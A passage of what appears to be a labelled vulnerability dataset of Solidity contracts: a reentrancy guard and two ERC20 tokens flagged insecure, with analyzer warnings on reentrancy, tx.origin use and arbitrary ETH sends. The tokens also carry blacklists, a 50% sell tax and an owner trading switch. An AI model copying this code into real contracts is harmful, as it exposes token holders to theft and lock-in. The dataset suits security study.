{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nabstract contract ReentrancyGuard {\n uint256 private constant _NOT_ENTERED = 1;\n\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = _NOT_ENTERED;\n }\n\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n}", "file_name": "solidity_code_236.sol", "secure": 1, "size_bytes": 778 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract NFA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = true;\n\t// WARNING Optimization Issue (immutable-states | ID: 4d57012): NFA._taxWallet should be immutable \n\t// Recommendation for 4d57012: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0b20067): NFA._initialBuyTax should be constant \n\t// Recommendation for 0b20067: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\t// WARNING Optimization Issue (constable-states | ID: 8f3914f): NFA._initialSellTax should be constant \n\t// Recommendation for 8f3914f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n uint256 private _finalBuyTax = 0;\n uint256 private _finalSellTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 8fddba7): NFA._reduceBuyTaxAt should be constant \n\t// Recommendation for 8fddba7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\t// WARNING Optimization Issue (constable-states | ID: 4b2334a): NFA._reduceSellTaxAt should be constant \n\t// Recommendation for 4b2334a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\t// WARNING Optimization Issue (constable-states | ID: 87fb5b2): NFA._preventSwapBefore should be constant \n\t// Recommendation for 87fb5b2: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n string private constant _name = unicode\"Not Financial Advice \";\n string private constant _symbol = unicode\"NFA\";\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: cf1a2c9): NFA._taxSwapThreshold should be constant \n\t// Recommendation for cf1a2c9: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 18df6d5): NFA._maxTaxSwap should be constant \n\t// Recommendation for 18df6d5: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 58210d8): NFA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 58210d8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1776d4e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1776d4e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 66169e3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 66169e3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1776d4e\n\t\t// reentrancy-benign | ID: 66169e3\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 1776d4e\n\t\t// reentrancy-benign | ID: 66169e3\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c19a4c7): NFA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for c19a4c7: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 66169e3\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 1776d4e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 61f3d1e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 61f3d1e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 6ae0218): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 6ae0218: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c14bd25): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c14bd25: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 6ae0218\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 61f3d1e\n\t\t\t\t// reentrancy-eth | ID: c14bd25\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 61f3d1e\n\t\t\t\t\t// reentrancy-eth | ID: c14bd25\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: c14bd25\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: 61f3d1e\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: c14bd25\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: c14bd25\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: 61f3d1e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 61f3d1e\n\t\t// reentrancy-events | ID: 1776d4e\n\t\t// reentrancy-benign | ID: 66169e3\n\t\t// reentrancy-eth | ID: c14bd25\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n transferDelayEnabled = false;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 886c03f): NFA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 886c03f: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 61f3d1e\n\t\t// reentrancy-events | ID: 1776d4e\n\t\t// reentrancy-eth | ID: c14bd25\n\t\t// arbitrary-send-eth | ID: 886c03f\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cb842bc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cb842bc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4d97900): NFA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4d97900: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b6cd8d9): NFA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b6cd8d9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d916f0f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d916f0f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: cb842bc\n\t\t// reentrancy-eth | ID: d916f0f\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: cb842bc\n\t\t// unused-return | ID: 4d97900\n\t\t// reentrancy-eth | ID: d916f0f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: cb842bc\n\t\t// unused-return | ID: b6cd8d9\n\t\t// reentrancy-eth | ID: d916f0f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\t\t// reentrancy-benign | ID: cb842bc\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: d916f0f\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n _finalBuyTax = _newFee;\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_2360.sol", "secure": 0, "size_bytes": 17251 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract GUD is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"Gud Coin\";\n string private constant _symbol = \"GUD\";\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 1000000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n uint256 private _redisFeeOnBuy = 0;\n uint256 private _taxFeeOnBuy = 15;\n uint256 private _redisFeeOnSell = 0;\n uint256 private _taxFeeOnSell = 50;\n\n uint256 private _redisFee = _redisFeeOnSell;\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) public _buyMap;\n\t// WARNING Optimization Issue (immutable-states | ID: 9efa136): GUD._developmentAddress should be immutable \n\t// Recommendation for 9efa136: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _developmentAddress = payable(msg.sender);\n\t// WARNING Optimization Issue (immutable-states | ID: 0609745): GUD._marketingAddress should be immutable \n\t// Recommendation for 0609745: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _marketingAddress = payable(msg.sender);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4a65803): GUD.uniswapV2Router should be immutable \n\t// Recommendation for 4a65803: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: c3fe987): GUD.uniswapV2Pair should be immutable \n\t// Recommendation for c3fe987: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen = true;\n bool private inSwap = false;\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 20000000 * 10 ** 9;\n uint256 public _maxWalletSize = 20000000 * 10 ** 9;\n uint256 public _swapTokensAtAmount = 5000000 * 10 ** 9;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_developmentAddress] = true;\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 03d7163): GUD.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 03d7163: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 360c3c2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 360c3c2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ef9a677): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ef9a677: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 360c3c2\n\t\t// reentrancy-benign | ID: ef9a677\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 360c3c2\n\t\t// reentrancy-benign | ID: ef9a677\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: 1db32b2\n _previousredisFee = _redisFee;\n\t\t// reentrancy-benign | ID: 1db32b2\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: 1db32b2\n _redisFee = 0;\n\t\t// reentrancy-benign | ID: 1db32b2\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: 1db32b2\n _redisFee = _previousredisFee;\n\t\t// reentrancy-benign | ID: 1db32b2\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4b90040): GUD._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4b90040: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: ef9a677\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 360c3c2\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 72646bd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 72646bd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1db32b2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1db32b2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9be559f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9be559f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n require(\n !bots[from] && !bots[to],\n \"TOKEN: Your account is blacklisted!\"\n );\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: 72646bd\n\t\t\t\t// reentrancy-benign | ID: 1db32b2\n\t\t\t\t// reentrancy-eth | ID: 9be559f\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 72646bd\n\t\t\t\t\t// reentrancy-eth | ID: 9be559f\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 1db32b2\n _redisFee = _redisFeeOnBuy;\n\t\t\t\t// reentrancy-benign | ID: 1db32b2\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 1db32b2\n _redisFee = _redisFeeOnSell;\n\t\t\t\t// reentrancy-benign | ID: 1db32b2\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: 72646bd\n\t\t// reentrancy-benign | ID: 1db32b2\n\t\t// reentrancy-eth | ID: 9be559f\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 360c3c2\n\t\t// reentrancy-events | ID: 72646bd\n\t\t// reentrancy-benign | ID: 1db32b2\n\t\t// reentrancy-benign | ID: ef9a677\n\t\t// reentrancy-eth | ID: 9be559f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 360c3c2\n\t\t// reentrancy-events | ID: 72646bd\n\t\t// reentrancy-eth | ID: 9be559f\n _marketingAddress.transfer(amount);\n }\n\n function setTrading(bool _tradingOpen) public onlyOwner {\n tradingOpen = _tradingOpen;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function blockbots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblackaddress(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n _transferStandard(sender, recipient, amount);\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 9be559f\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 9be559f\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 72646bd\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 9be559f\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 9be559f\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 1db32b2\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function 